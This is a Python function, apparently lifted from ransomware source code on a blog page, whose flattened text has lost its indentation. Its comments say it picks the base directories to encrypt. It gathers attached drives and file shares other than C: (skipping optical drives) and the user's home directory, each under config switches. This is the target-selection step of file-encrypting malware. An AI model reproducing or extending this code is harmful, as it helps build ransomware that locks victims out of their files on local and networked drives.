def get_base_dirs(self, home_dir, __config):
# Function to return a list of base directories to encrypt
base_dirs = []
# Add attached drives and file shares
if __config["encrypt_attached_drives"] is True:
attached_drives = win32api.GetLogicalDriveStrings().split('\000')[:-1]
for drive in attached_drives:
drive_letter = drive[0]
if drive_letter != 'C' and not self.is_optical_drive(drive_letter):
base_dirs.append(drive)
# Add C:\\ user space directories
if __config["encrypt_user_home"] is True:
base_dirs.append(home_dir)
return base_dirs
评论列表
文章目录